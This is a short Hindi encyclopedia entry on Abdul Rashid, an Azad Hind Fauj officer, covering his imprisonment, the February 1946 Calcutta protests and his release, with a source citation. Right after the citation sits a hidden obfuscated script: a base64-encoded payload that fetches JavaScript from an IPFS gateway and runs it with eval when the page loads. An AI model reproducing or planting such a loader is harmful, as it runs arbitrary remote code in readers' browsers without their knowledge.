अब्दुल रशीद

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  • अब्दुल रशीद आज़ाद हिन्द फ़ौज में सम्मिलित होकर प्रमुख सैन्य अधिकारी बने।
  • सुभाष की मृत्यु के बाद ब्रिटिश सरकार ने आज़ाद हिन्द फ़ौज का दमन किया तथा कलकत्ता में 7 वर्ष की कारावास की सज़ा सुनाई गईं।
  • इस पर 11 फरवरी, 1946 ई. को कलकत्ता में विद्रोह हो गया।
  • प्रतिवादी जुलूस का नेतृत्व मुस्लिम लीग के छात्रों ने किया, किन्तु कांग्रेस तथा कम्युनिस्ट पार्टी के छात्र संगठन में सम्मिलित हुए।
  • छात्रों ने धारा 144 का उल्लंघन किया तथा पुलिस ने उन पर लाठीचार्ज किया। बाद में आज़ाद हिन्द फ़ौज के अन्य अधिकारियों के साथ रशीद को भी छोड़ दिया गया।

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टीका टिप्पणी और संदर्भ

नागोरी, डॉ. एस.एल. “खण्ड 3”, स्वतंत्रता सेनानी कोश (गाँधीयुगीन), 2011 (हिन्दी), भारतडिस्कवरी पुस्तकालय: गीतांजलि प्रकाशन, जयपुर, पृष्ठ सं 13।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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